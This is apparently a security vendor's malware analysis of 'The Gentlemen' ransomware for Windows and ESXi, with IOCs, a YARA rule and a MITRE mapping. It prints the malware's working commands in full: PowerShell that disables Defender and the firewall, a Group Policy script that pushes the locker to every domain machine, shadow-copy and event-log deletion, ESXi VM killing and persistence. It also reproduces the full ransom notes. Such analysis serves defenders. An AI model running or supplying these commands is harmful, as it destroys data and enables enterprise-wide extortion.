 -- Remote PowerShell: SCRIPT_G — WinRM start process via local Temp with args (with creds) --
 powershell -NoProfile -ExecutionPolicy Bypass -Command
   "Invoke-Command -ComputerName <target> -ScriptBlock {
      Start-Process -FilePath 'C:\\Temp\\<exe>' -ArgumentList '<creds>'
    }"
    

 SCRIPT_A (Defender disable — used inline by PsExec and WMI calls)
 ---------------------------------------------------------------
 powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true;
   Add-MpPreference -ExclusionPath 'C:\\';
   Add-MpPreference -ExclusionPath 'C:\\Temp';
   Add-MpPreference -ExclusionPath '\\\\<host>\\share$';
   Add-MpPreference -ExclusionProcess '<exe>';
   Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False;
   Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart 2>$null;
   reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa
     /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f 2>$null;
   reg add 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa'
     /v RestrictAnonymous /t REG_DWORD /d 0 /f 2>$null"

Deploy via Group Policy

The --gpo flag enables the most powerful and far-reaching deployment method in the entire binary, reserved specifically for operators who have already compromised a Domain Controller. It is designed to weaponize Active Directory’s own Group Policy infrastructure to detonate the ransomware simultaneously on every computer in the domain. When --gpo is enabled, the following PowerShell script is executed:

  Write-Host "[+] Installing required modules..."
  try { Import-Module ServerManager -ErrorAction Stop } catch {}
  try { Add-WindowsFeature RSAT-AD-PowerShell -ErrorAction SilentlyContinue } catch {}
  try { Install-WindowsFeature RSAT-AD-PowerShell -ErrorAction SilentlyContinue } catch {}
  try { Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0"
        -ErrorAction SilentlyContinue } catch {}
  try { Add-WindowsCapability -Online -Name "Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0"
        -ErrorAction SilentlyContinue } catch {}
  try { DISM.exe /Online /Add-Capability
        /CapabilityName:Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0 2>$null } catch {}
  try { DISM.exe /Online /Add-Capability
        /CapabilityName:Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0 2>$null } catch {}
  Import-Module ActiveDirectory -ErrorAction SilentlyContinue
  Import-Module GroupPolicy -ErrorAction SilentlyContinue

  Write-Host "[+] Getting domain info..."
  try {
      $Domain   = (Get-ADDomain).DNSRoot
      $DomainDN = (Get-ADDomain).DistinguishedName
      Write-Host "[+] Domain from AD: $Domain"
  } catch {
      try {
          $Domain   = (Get-WmiObject Win32_ComputerSystem).Domain
          $DomainDN = "DC=" + ($Domain -replace '\\.',',DC=')
          Write-Host "[+] Domain from WMI: $Domain"
      } catch {
          $Domain   = $env:USERDNSDOMAIN
          $DomainDN = "DC=" + ($Domain -replace '\\.',',DC=')
          Write-Host "[+] Domain from env: $Domain"
      }
  }

  Write-Host "[+] Copying locker to NETLOGON..."
  $ExePath = "\\\\$Domain\\NETLOGON\\<exe>"
  Copy-Item -Path "<exe>" -Destination $ExePath -Force -ErrorAction SilentlyContinue

  Write-Host "[+] Creating GPO..."
  $guid = [guid]::NewGuid().ToString().ToUpper()
  New-GPO -Name "<gpo_name>" -Comment "System Update" -ErrorAction SilentlyContinue | Out-Null
  New-GPLink -Name "<gpo_name>" -Target $DomainDN -ErrorAction SilentlyContinue | Out-Null

  $GpoScheduledPath = "\\\\$Domain\\SYSVOL\\$Domain\\Policies\\{$guid}\\Machine\\Preferences\\ScheduledTasks"
  New-Item -ItemType Directory -Path $GpoScheduledPath -Force | Out-Null

  $TaskXmlPath = "$env:TEMP\\ScheduledTasks.xml"
  $TaskName    = "SystemUpdate"

  @"
  <ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
    <ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}"
        name="$TaskName" image="0" changed="<timestamp>" uid="<uid>"
        userContext="0" removePolicy="0">
      <Properties action="C" name="$TaskName"
          runAs="NT AUTHORITY\\System" logonType="S4U"/>
      ...
      <BootTrigger><Enabled>true</Enabled></BootTrigger>
      <RegistrationTrigger><Enabled>true</Enabled></RegistrationTrigger>
      <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
      <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
      <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
      <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    </ImmediateTaskV2>
  </ScheduledTasks>
  "@ | Out-File -Encoding UTF8 -FilePath $TaskXmlPath -Force

  Copy-Item -Path $TaskXmlPath -Destination "$GpoScheduledPath\\ScheduledTasks.xml" -Force

  if (!(Test-Path $GpoScheduledPath)) {
      # path creation guard
  }

  $comps = Get-ADComputer -Filter * | Select-Object -ExpandProperty Name
  foreach ($_ in $comps) {
      Invoke-GPUpdate -Computer $_.name -RandomDelayInMinutes 0
          -Force -ErrorAction SilentlyContinue
      Invoke-Command -ComputerName $comp -ScriptBlock { gpupdate /force }
          -ErrorAction SilentlyContinue
  }

Drive Enumeration

For drive enumeration, the malware uses two techniques to identify available volumes:

  1. PowerShell‑based discovery, using the following command.
  2. Brute‑force drive letter scan, iterating from A: to Z: and calling os.Stat on each path to determine whether it is a valid drive.
powershell -NoProfile -Command "$volumes=@();
$volumes += Get-WmiObject -Class Win32_Volume |
    Where-Object { $_.Name -like ':\\' } |
    Select-Object -ExpandProperty Name;
try {
    $volumes += Get-ClusterSharedVolume |
        ForEach-Object { $_.SharedVolumeInfo.FriendlyVolumeName }
} catch {}
$volumes"

Network Enumeration

In order to enumerate network drives the ransomware executes a sequence of Windows commands that force-enable network discovery and related services, making the machine visible and reachable on the local network.

 sc config fdrespub start=auto
 sc start  fdrespub
 sc config fdPHost  start=auto
 sc start  fdPHost
 sc config SSDPSRV  start=auto
 sc start  SSDPSRV
 sc config upnphost start=auto
 sc start  upnphost
 netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes
 powershell -Command Get-NetFirewallRule -DisplayGroup "Network Discovery" | Enable-NetFirewallRule

Then loads dynamically mpr.dll and by using the Windows API functions enumerates the networks shares:

  • WNetOpenEnumW
  • WNetEnumResourceW
  • WNetCloseEnum

Directories, Filenames and Extensions Exclusion

As with many other ransomware families, this one also excludes specific directories, filenames, and file extensions from encryption, ensuring that the system remains at least partially usable after the attack.

Excluded Directories:

"c:\\\\windows", "system volume information", "c:\\\\intel", "admin$", "ipc$", "! Cynet Ransom Protection(DON\\'T DELETE)", "sysvol", "netlogon", "$windows.~ws", "application data", "mozilla", "c:\\\\program files\\\\microsoft", "c:\\\\program files (x86)\\\\microsoft", "c:\\\\program files (x86)\\\\intel", "$windows.~bt", "msocache", "WinSxS", "$Recycle.Bin", "c:\\\\program files\\\\windows", "c:\\\\program files (x86)\\\\windows", "c:\\\\program files\\\\intel", "tor browser", "boot", "config.msi", "google", "System32", "perflogs", "appdata", "windows.old"

Excluded Filenames:

desktop.ini, autorun.ini, ntldr, bootsect.bak, thumbs.db, boot.ini, ntuser.dat, iconcache.db, bootfont.bin, pagefile.sys, ntuser.ini, ntuser.dat.log, autorun.inf, bootmgr, hiberfil.sys, bootmgr.efi, bootmgfw.efi, #recycle, README-GENTLEMEN.txt"c:\\\\windows", "system volume information", "c:\\\\intel", "admin$", "ipc$", "! Cynet Ransom Protection(DON\\'T DELETE)", "sysvol", "netlogon", "$windows.~ws", "application data", "mozilla", "c:\\\\program files\\\\microsoft", "c:\\\\program files (x86)\\\\microsoft", "c:\\\\program files (x86)\\\\intel", "$windows.~bt", "msocache", "WinSxS", "$Recycle.Bin", "c:\\\\program files\\\\windows", "c:\\\\program files (x86)\\\\windows", "c:\\\\program files\\\\intel", "tor browser", "boot", "config.msi", "google", "System32", "perflogs", "appdata", "windows.old"

Excluded Extensions:

hemepack, nls, diapkg, msi, lnk, exe, scr, bat, drv, rtp, msp, prf, msc, ico, key, ocx, hosts, diagcab, diagcfg, pdb, wpx, hlp, icns, rom, dll, msstyles, mod, ps1, ics, hta, bin, cmd, ani, 386, lock, cur, idx, sys, com, deskthemepack, shs, theme, mpa, gif, mp3, nomedia, spl, cpl, adv, icl, msu

Shadow Copy & Logs Deletion

During execution, the ransomware attempts to delete shadow copies, which are a primary mechanism for recovering encrypted files:

  • vssadmin delete shadows /all /quiet
  • wmic shadowcopy delete
  • rd /s /q C:\\$Recycle.Bin

In addition to shadow copies, the ransomware also deletes various log files. These logs typically contain authentication events, process and service creation events, and traces of lateral movement. The destruction of these artifacts clearly aims to remove forensic evidence of the intrusion and hinder post-incident investigation.

wevtutil cl System
wevtutil cl Application
wevtutil cl Security
del /f /q C:\\Windows\\Prefetch\\*.*
del /f /q C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\*.*
del /f /q %SystemRoot%\\System32\\LogFiles\\RDP*\\*.*

Free Space Wiping

When the threat actor executes the ransomware with the --wipe argument, the malware additionally attempts to wipe free disk space. It creates a file named wipefile.tmp on each targeted drive and writes 64 MB chunks of data to it until all free space is exhausted. This process overwrites previously deleted file content that could otherwise be recovered using forensic tools.

Background Image Change

If the --silent argument is not specified, the ransomware replaces the desktop background with an embedded image. The image resource is written to %TEMP%\\gentlemen.bmp, and the malware then calls SystemParametersInfoW to set it as the desktop wallpaper.

File Encryption

Before encryption begins, the ransomware checks whether the file size exceeds 0x100000 (1,048,576 bytes, or 1 MB). Files of 1 MB or smaller are routed to the small file function, while files larger than 1 MB are routed to the large file function.

Regardless of size, the key derivation process is identical for both paths. The ransomware generates a random 32-byte ephemeral private key. Using X25519 (the Diffie–Hellman primitive over Curve25519), it derives two values: first, the ephemeral public key by multiplying the private key with the curve basepoint, and second, a shared secret by combining the ephemeral private key with the attacker’s public key. The ephemeral public key is not secret and will later be stored in the file, while the shared secret remains only in memory. Key material for encryption is then constructed directly from these values. The ephemeral public key is used as the 32-byte symmetric key, while the first 24 bytes of the shared secret (derived with the attacker’s public key) are used as the nonce.

For small files (less than 1MB) the contents are encrypted using XChaCha20, a stream cipher, which XORs the plaintext with a keystream to produce ciphertext of identical length. The original file is overwritten in place with this ciphertext.

For large files larger than 1 MB, the encryption process changes depending on optional speed mode arguments that control how much of the file is actually encrypted. Instead of processing the entire file, the algorithm only encrypts a small portion of it. In fast mode about 9 percent of the file is encrypted. In superfast mode about 3 percent is encrypted. In ultrafast mode only about 1 percent of the file is affected. The encrypted regions are selected across the file and processed in chunks of about 64 KB. Each chunk is read, encrypted using XChaCha20, and written back to the same position in the file. After encryption, the function appends a footer to the file containing the string --eph--, followed by the base64-encoded ephemeral public key and a newline. This is followed by a marker section --marker--GENTLEMEN\\n and a final GENTLEMEN sentinel. The stored ephemeral public key allows the attacker, who possesses the corresponding private key, to recompute the shared secret and reconstruct the nonce, enabling decryption of the file. If any of the speed-increasing arguments (fast, superfast, or ultrafast) were specified during large file encryption, the selected argument is also appended to the end of the file.

--eph--$BASE64--marker--GENTLEMEN\nGENTLEMEN--fast--\n

The attacker’s decryptor obtains the base64 value from the header (--eph-- field), decodes it to get the ephemeral public key, and uses it directly as the ChaCha20 key. It then recomputes sharedSecret = X25519(attacker_privKey, ephemeralPubKey) using the attacker’s own private key, and uses the first 24 bytes of sharedSecret2 as the ChaCha20 nonce. With the key and nonce recovered, it decrypts the encrypted files.


The Gentlemen ESXi Variant

Latest ELF variant of The Gentlemen ransomware remains undetected by the majority of the Antivirus systems as seems in VirusTotal. The incapability to trigger and execute the malicious code due to the --password requirement possibly affects the detection results, even though for Windows samples this does not appear to be an issue.

Figure 8 — VirusTotal detection rate.

Command Line Arguments

The majority of the arguments functionalities are observed as well in the ELF variant of The Gentlemen ransomware.

Usage: %s --password PASS --path DIR [--ignore VMS] [--T MIN] [--fast] [--superfast] [--ultrafast]

Main Flags 
  --password PASS         Access password (required)
  --path DIR              Target directories, comma-separated (required)
                          Example:  --path /vmfs/
                          Example2: --path "/vmfs/,/datastore/,/mnt/storage"
  --ignore VMS            VM display names to ignore, comma-separated (optional)
                          Example:  --ignore DomainController
                          Example2: --ignore "DomainController,Backup Server"
  --T, --timer MIN        Delay before start in minutes (optional)
                          Example:  --T 15
                          Example2: --timer 15

Speed Flags (can't be mixed) 
  --fast                  Lock 9 percent of file (optional)
  --superfast             Lock 3 percent of file (optional)
  --ultrafast             Lock 1 percent of file (optional)

[+]

The ESXi variant exposes fewer functionalities than the Windows variant, as many features present in the Windows version are not required on ESXi systems.

Flag / ArgumentWindowsESXi
--password PASSAccess password (required)Access password (required)
--path DIRS / DIRComma-separated list of target directories/disks (optional). Example: --path "C:\\,D:\\,\\\\nas\\share"Target directories, comma-separated (required).
Example: --path "/vmfs/,/datastore/,/mnt/storage"
--T MINDelay before start, in minutes (optional)Delay before start in minutes (optional)
--timer $MINNot presentAlias for delay before start in minutes (optional)
--systemRun as SYSTEM; encrypt only local drivesNot present
--sharesEncrypt only mapped network drives and UNC shares in session contextNot present
--fullTwo-phase: --system + --shares (“Best practice”)Not present
--spread $CREDSLateral movement: "domain/user:pass" or "" for current sessionNot present
--gpoDeploy via Group Policy to all domain computers (run on DC)Not present
--silentSilent mode: do not rename/retime files; no wallpaper changeNot present
--keepDo not self-delete after encryptionNot present
--wipeWipe free space after encryptionNot present
--ignore VMSNot presentVM display names to ignore, comma-separated.
Example: --ignore "DomainController,Backup Server"
--fast9 percent crypt. (optional)Lock 9 percent of file (optional)
--superfast3 percent crypt. (optional)Lock 3 percent of file (optional)
--ultrafast1 percent crypt. (optional)Lock 1 percent of file (optional)

The minimum required command‑line for Linux Gentlemen ransomware execution is:

$process_name --password $pass --path $path(s)

VM & Processes Termination

Ransomware operators shut down virtual machines on an ESXi host to make their attack more effective and efficient. By powering off the VMs, they release locks on virtual disk files, allowing those files to be encrypted more reliably and with less risk of interference or corruption. This also disables any security tools running inside the guest systems, reducing the chance of detection or response.

The locker performs a controlled shutdown of all virtual machines on a VMware ESXi host. It first lists all registered VMs and iterates through them to issue a graceful power-off command (optionally skipping specified VMs). After a short wait to allow clean shutdowns, it checks for any remaining running VM processes using esxcli. If any VMs are still active, it forcefully terminates them by killing their associated world processes. In effect, it ensures that all VMs are stopped, using escalation from graceful shutdown to hard kill only when necessary.

# Enumerate all registered VMs (popen, output parsed line by line)
vim-cmd vmsvc/getallvms | tail -n +2

# Power off each VM gracefully (one system() call per VM, skipping --ignore list)
vim-cmd vmsvc/power.off <vmid> > /dev/null 2>&1

# After 8-second sleep: enumerate still-running VM processes (popen)
esxcli --formatter=csv vm process list | tail -n +2

# Force-kill any remaining VM processes by world-id (one per process)
esxcli vm process kill --type=force --world-id=<world_id> > /dev/null 2>&1

Persistence

The ransomware copies itself to /bin/.vmware-authd mimicking a legitimate VMware daemon.

cp -f '<self>' '/bin/.vmware-authd' 2>/dev/null && chmod +x '/bin/.vmware-authd'

Then creates a script file that ESXi runs at boot.

mkdir -p /etc/rc.local.d 2>/dev/null; \\
echo '#!/bin/sh' > '/etc/rc.local.d/local.sh'; \\
echo 'sleep 30 && /bin/.vmware-authd <original_argv> &' >> '/etc/rc.local.d/local.sh'; \\
chmod +x '/etc/rc.local.d/local.sh'

Adds a second persistence layer via crontab. At every reboot, after a 60-second delay, the ransomware relaunches via the hidden binary with the original arguments.

echo '@reboot sleep 60 && /bin/.vmware-authd <original_argv>' | crontab - 2>/dev/null

Pre-Encryption Preparation

The ransomware modifies a VMware ESXi host to prepare the storage layer for fast, consistent disk writes and then disables automatic VM recovery. It increases the VMFS write buffer capacity and adjusts the flush interval to control how data is committed to disk, then forces synchronous writes across all VMFS datastores by briefly creating and deleting eager-zeroed thick disks. Finally, it clears and disables the VM autostart configuration so virtual machines will not restart automatically after a reboot.

# Maximize VMFS write buffer capacity (speeds up encryption throughput)
esxcfg-advcfg -s 32768 /BufferCache/MaxCapacity > /dev/null 2>&1

# Reduce buffer flush interval (forces faster disk commit)
esxcfg-advcfg -s 20000 /BufferCache/FlushInterval > /dev/null 2>&1

# Create eagerzeroedthick disk on every VMFS-5 datastore (forces buffer flush before encryption — ensures plaintext is written to disk)
for I in $(esxcli storage filesystem list | grep 'VMFS-5' | awk '{print $1}'); do \\
  vmkfstools -c 10M -d eagerzeroedthick $I/eztDisk > /dev/null 2>&1; \\
  vmkfstools -U $I/eztDisk > /dev/null 2>&1; \\
done 2>&1

# Same as above for VMFS-6 datastores
for I in $(esxcli storage filesystem list | grep 'VMFS-6' | awk '{print $1}'); do \\
  vmkfstools -c 10M -d eagerzeroedthick $I/eztDisk > /dev/null 2>&1; \\
  vmkfstools -U $I/eztDisk > /dev/null 2>&1; \\
done 2>&1

# Clear ESXi VM autostart configuration (prevents VMs from restarting)
vim-cmd hostsvc/autostartmanager/clear_autostart > /dev/null 2>&1

# Disable autostart manager entirely
vim-cmd hostsvc/autostartmanager/enable_autostart 0 > /dev/null 2>&1

Directories, Filenames and Extensions Exclusion

The ransomware implements a targeted exclusion list to avoid encrypting critical components of the underlying VMware ESXi / Linux-based operating system, as well as associated virtualization and boot infrastructure.

Directories:

/boot/, /proc/, /sys/, /run/, /dev/, /lib/, /etc/, /bin/, /mbr/, /lib64/, /vmware/lifecycle/, /vdtc/, /healthd/

File types:

vmsd, sf, vmx~, lck, vmx, nvram, v00, v01, v02, v03, v04, v05, v06, v07, v08, v09, b00, b01, b02, b03, b04, b05, b06, b07, b08, b09, t00, t01, t02, t03, t04, t05, t06, t07, t08, t09, locker, unlocker, .go, .exe

Files:

initrd, vmlinuz, basemisc.tgz, README-GENTLEMEN.txt, boot.cfg, bootpart.gz, features.gz, imgdb.tgz, jumpstrt.gz, onetime.tgz, state.tgz, useropts.gz


Conclusion

The activity surrounding The Gentlemen RaaS underscores how quickly a well‑designed affiliate program can evolve from newcomer to a high‑impact ecosystem player. By combining a versatile, multi‑platform locker set with built‑in lateral movement, Group Policy–based mass deployment, and strong defense‑evasion capabilities, the operation enables even moderately skilled affiliates to execute enterprise‑scale intrusions with ransomware detonation as the final stage.

The observed use of SystemBC alongside Cobalt Strike, and the discovery of a botnet with more than 1,570 likely corporate victims, further highlights that The Gentlemen affiliates are not operating in isolation, but are actively integrating into a broader toolchain of mature, post‑exploitation frameworks and proxy infrastructure. Organizations should therefore treat The Gentlemen not as an isolated family, but as part of a wider, modular intrusion ecosystem where initial access, post‑exploitation, and encryption capabilities can be rapidly recombined and reused across campaigns.


Indicators of Compromise

DescriptionValue
Cobalt Strike C&C91.107.247[.]163
SystemBC992c951f4af57ca7cd8396f5ed69c2199fd6fd4ae5e93726da3e198e78bec0a5
SystemBC C&C45.86.230[.]112
The Gentlemen Windows025fc0976c548fb5a880c83ea3eb21a5f23c5d53c4e51e862bb893c11adf712a
22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67
2ed9494e9b7b68415b4eb151c922c82c0191294d0aa443dd2cb5133e6bfe3d5d
3ab9575225e00a83a4ac2b534da5a710bdcf6eb72884944c437b5fbe5c5c9235
48d9b2ce4fcd6854a3164ce395d7140014e0b58b77680623f3e4ca22d3a6e7fd
62c2c24937d67fdeb43f2c9690ab10e8bb90713af46945048db9a94a465ffcb8
860a6177b055a2f5aa61470d17ec3c69da24f1cdf0a782237055cba431158923
87d25d0e5880b3b5cd30106853cbfc6ef1ad38966b30d9bd5b99df46098e546c
8c87134c1b45e990e9568f0a3899b0076f94be16d3c40fa824ac1e6c6ee892db
91415e0b9fe4e7cbe43ec0558a7adf89423de30d22b00b985c2e4b97e75076b1
994d6d1edb57f945f4284cc0163ec998861c7496d85f6d45c08657c9727186e3
9f61ff4deb8afced8b1ecdc8787a134c63bde632b18293fbfc94a91749e3e454
a7a19cab7aab606f833fa8225bc94ec9570a6666660b02cc41a63fe39ea8b0ad
b67958afc982cafbe1c3f114b444d7f4c91a88a3e7a86f89ab8795ac2110d1e6
c46b5a18ab3fb5fd1c5c8288a41c75bf0170c10b5e829af89370a12c86dd10f8
c7f7b5a6e7d93221344e6368c7ab4abf93e162f7567e1a7bcb8786cb8a183a73
ec368ae0b4369b6ef0da244774995c819c63cffb7fd2132379963b9c1640ccd2
efaf8e7422ffd09c7f03f1a5b4e5c2cc32b05334c18d1ccb9673667f8f43108f
f736be55193c77af346dbe905e25f6a1dee3ec1aedca8989ad2088e4f6576b12
fc75ed2159e0c8274076e46a37671cfb8d677af9f586224da1713df89490a958
Embedded binaries (psexesvc.exe/psexec.exe)cc14df781475ef0f3f2c441d03a622ea67cd86967526f8758ead6f45174db78e
078163d5c16f64caa5a14784323fd51451b8c831c73396b967b4e35e6879937b
gentlemen.bmpfe1033335a045c696c900d435119d210361966e2fb5cd1ba3382608cfa2c8e68
The Gentlemen Linux5dc607c8990841139768884b1b43e1403496d5a458788a1937be139594f01dca
788ba200f776a188c248d6c2029f00b5d34be45d4444f7cb89ffe838c39b8b19
1eece1e1ba4b96e6c784729f0608ad2939cfb67bc4236dfababbe1d09268960c


Yara Rule

rule thegentlemen_ransomware
{
    meta:
        author = "@Tera0017/Check Point Research"
        description = "The Gentlemen Ransomware written in GO."
    strings:
        $string1 = "Silent mode (don't rename files)" ascii
        $string2 = "Encrypt only mapped and UNC network shares" ascii
        $string3 = "README-GENTLEMEN.txt" ascii
        $string4 = "gentlemen.bmp" ascii
        $string5 = "gentlemen_system" ascii
        $string6 = "[+] Encryption started. Going background..." ascii
        $string7 = "[+] FULL Encryption started" ascii
    condition:
        uint16(0) == 0x5A4D and 4 of them
}


Ransomware Note – README-GENTLEMEN.txt

Windows Version:

{VICTIM_ID} {VICTIM}= YOUR ID

Gentlemen, your network has been encrypted.

1. Any modification of encrypted files will make recovery impossible. 
2. Only our unique decryption key and software can restore your files. 
   Brute-force, RAM dumps, third-party recovery tools are useless.
   It’s a fundamental mathematical reality. Only we can decrypt your data.
3. Law enforcement, authorities, and “data recovery” companies will NOT help you.
   They will only waste your time, take your money, and block you from recovering your files — your business will be lost.
4. Any attempt to restore systems, or refusal to negotiate, may lead to irreversible wipe of all data and your network.
5. We have exfiltrated all your confidential and business data (including NAS, clouds, etc). 
   If you do not contact us, it will be published on our leak site and distributed to major hack forums and social networks.
   In addition, it will be reported to the relevant data protection authorities and regulators.
   This may result in official investigations, significant fines, and reputational damage for your company.
6. We guarantee 100% file recovery to their original state, bit by bit.
   To demonstrate the quality of our work, you can provide three sample files, and we will restore them free of charge.

TOX CONTACT - RECOVER YOUR FILES
Contact us (add via TOX ID): D527959A7BC728CB272A0DB683B547F079C98012201A48DD2792B84604E8BC29F6E6BDB8003F
Download Tox messenger: <https://tox.chat/download.html>
Contact us (add via Session ID): {SESSION_ID}
Download Session  <https://getsession.org>

СONTACT TO PREVENT DATA LEAK (7 DAYS BEFORE YOUR COMPANY DATA WILL BE PUBLISHED IN OUR BLOG, WITH 239 HOURS REVEAL TIMER)
Check our blog: hxxp://tezwsse5czllksjb7cwp65rvnk4oobmzti2znn42i43bjdfd2prqqkad.onion/ 
Download Tor browser: <https://www.torproject.org/download/>
Follow us on X: hxxps://x.com/TheGentlemen25

Any other means of communication are fake and may be set up by third parties. 
Only use the methods listed in this note or on the specified website.
After adding (us) in Tox or Session, please wait for your request to be processed and stay online.
If you do not receive a reply within 36 hours, create another account and contact us again.
In your first message in chat, immediately provide your ID from the note and the name of your organization. 
Assign one person as contact responsible for all negotiations. Do not create multiple chats.

ESXi Version:

{VICTIM_ID} = YOUR ESXI ID

Gentlemen, your ESXI has been encrypted.

1. Any modification of encrypted files will make recovery impossible. 
2. Only our unique decryption key and software can restore your files. 
   Brute-force, RAM dumps, third-party recovery tools are useless.
   It’s a fundamental mathematical reality. Only we can decrypt your data.
3. Law enforcement, authorities, and “data recovery” companies will NOT help you.
   They will only waste your time, take your money, and block you from recovering your files — your business will be lost.
4. Any attempt to restore systems, or refusal to negotiate, may lead to irreversible wipe of all data and your network.
5. We have exfiltrated all your confidential and business data (including NAS, clouds, etc). 
   If you do not contact us, it will be published on our leak site and distributed to major hack forums and social networks.
   In addition, it will be reported to the relevant data protection authorities and regulators.
   This may result in official investigations, significant fines, and reputational damage for your company.
6. We guarantee 100% file recovery to their original state, bit by bit.
   To demonstrate the quality of our work, you can provide two sample files, and we will restore them free of charge.

TOX CONTACT - RECOVER YOUR FILES
Contact us (add via TOX ID): D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
Download Tox messenger: <https://tox.chat/download.html>
Contact us (add via Session ID): {SESSION_ID}
Download Session  <https://getsession.org>

СONTACT TO PREVENT DATA LEAK (7 DAYS BEFORE YOUR COMPANY DATA WILL BE PUBLISHED IN OUR BLOG, WITH 239 HOURS REVEAL TIMER)
Check our blog: hxxp://tezwsse5czllksjb7cwp65rvnk4oobmzti2znn42i43bjdfd2prqqkad.onion/ 
Download Tor browser: <https://www.torproject.org/download/>
Follow us on X: <https://x.com/TheGentlemen25>

Any other means of communication are fake and may be set up by third parties. 
Only use the methods listed in this note or on the specified website.


MITRE ATT&CK Matrix

TacticTechnique / Sub‑TechniqueDescription
Initial AccessValid Accounts (T1078)Attacker already active on Domain Controller with Domain Admin privileges; --spread "domain\\user:password" uses harvested domain credentials for remote execution and lateral movement.
Initial AccessExternal Remote Services (T1133(inferred)Initial entry not directly observed; context suggests possible compromise via exposed remote services (e.g., RDP/VPN), but campaign evidence starts post‑compromise on DC.
ExecutionCommand Shell (T1059.003)Widespread cmd.exe /C usage: systeminfowhoamidir c:\\userstype \\\\host\\share\\file.txttaskkillgpupdate /forcenetrd, etc.
ExecutionPowerShell (T1059.001)Defender tampering and firewall changes via PowerShell; internal HTTP download of grand.exe to c:\\programdata\\r.exe; extensive script‑based lateral movement using Invoke-Command and multi‑step PowerShell scripts (SCRIPT_ASCRIPT_G).
ExecutionWindows Management Instrumentation (T1047)wmic /node:<target> process call create "<DEFENDER_SCRIPT_A>" and wmic ... "C:\\Temp\\<exe> <creds>" to execute scripts and lockers on remote hosts.
ExecutionScheduled Task/Job: Scheduled Task (T1053.005)Creation of local and remote tasks: UpdateSystemUpdateUserDefUDefSUpdateGUUpdateGU2UpdateGSUpdateGS2 using schtasks /Create /S <target> ... /Run for execution and persistence.
ExecutionSystem Services: Service Execution (T1569.002)Remote services DefSvcUpdateSvcUpdateSvc2 created and started via sc \\\\<target> create ... and sc \\\\<target> start ... to run ransomware or helper scripts.
ExecutionNative API (T1106)Use of SystemParametersInfoW to set gentlemen.bmp as wallpaper; dynamic loading of mpr.dll and calls to WNetOpenEnumWWNetEnumResourceWWNetCloseEnum to enumerate network shares.
ExecutionUser Execution: Malicious File (T1204.002)Operator‑driven execution of ransomware payloads (r.exeg.exeo.exe, GPO‑deployed locker) on endpoints as final stage of intrusion.
PersistenceScheduled Task/Job: Scheduled Task (T1053.005)Local persistence via schtasks /Create /SC ONSTART /TN UpdateSystem /TR "<exe> <args>" /RU SYSTEM; remote tasks on many hosts ensure repeated execution and durability of the locker.
PersistenceRegistry Run Keys / Startup Folder (T1060)Run key added: reg add HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v GupdateU /t REG_SZ /d "<exe>" /f to autostart ransomware in user context.
PersistenceCreate or Modify System Process: Windows Service (T1543.003)Creation of new services (DefSvcUpdateSvcUpdateSvc2) on remote hosts to execute ransomware or helper logic, typically running as SYSTEM.
PersistenceBoot or Logon Autostart Execution: rc.local (T1547.009)ESXi/Linux variant copies itself to /bin/.vmware-authd and configures /etc/rc.local.d/local.sh with sleep 30 && /bin/.vmware-authd <original_argv> & to auto‑run on boot.
PersistenceScheduled Task/Job: Cron (T1053.003)ESXi variant adds cron entry @reboot sleep 60 && /bin/.vmware-authd <original_argv> via crontab -, providing additional boot persistence.
PersistenceBoot or Logon Initialization Scripts (T1037.004)Combined use of rc.local (/etc/rc.local.d/local.sh) and cron @reboot scripts ensures the locker relaunches after ESXi host reboot.
PersistenceIngress Tool Transfer (T1105)--gpo deployment mode copies locker to \\\\<domain>\\NETLOGON\\<exe> and injects ScheduledTasks.xml into GPO path; all domain machines then pull and execute the locker via GPO‑scheduled tasks.
Privilege EscalationValid Accounts (T1078)Stolen Domain Admin and other domain credentials used with PsExec (-u <domain\\user> -p <pass>) and --spread to perform privileged remote execution and lateral movement.
Privilege EscalationScheduled Task/Job: Scheduled Task (T1053.005)Tasks created to run as SYSTEM (/RU SYSTEM) – locally and via GPO – escalate from user to LocalSystem context for file encryption and defense evasion.
Privilege EscalationCreate or Modify System Process: Windows Service (T1543.003)Attackers create new services configured to run under high‑privilege service accounts (usually SYSTEM) on remote hosts to execute ransomware components.
Defense EvasionImpair Defenses: Disable or Modify Tools (T1562.001)Defender disabled and neutered via Set-MpPreference -DisableRealtimeMonitoring $true; exclusions added for C:\\C:\\Temp\\\\<host>\\share$, and the ransomware process; these operations are performed locally and remotely via scripts.
Defense EvasionImpair Defenses: Disable or Modify System Firewall (T1562.004)Firewall disabled globally: netsh advfirewall set allprofiles state offSet-NetFirewallProfile -Profile Domain,Public,Private -Enabled False; firewall service mpssvc is stopped and set to disabled.
Defense EvasionImpair Defenses: Disable or Modify Cloud/Network Security (T1562.007)Attackers enable SMB1 (Enable-WindowsOptionalFeature ... SMB1Protocol), loosen LSA anonymous access (EveryoneIncludesAnonymous=1RestrictAnonymous=0), and set open network shares using net share + icacls, reducing network/segmentation protections.
Defense EvasionIndicator Removal on Host: Clear Windows Event Logs (T1070.001)wevtutil cl Systemwevtutil cl Applicationwevtutil cl Security executed to remove Windows event logs and hinder forensic reconstruction.
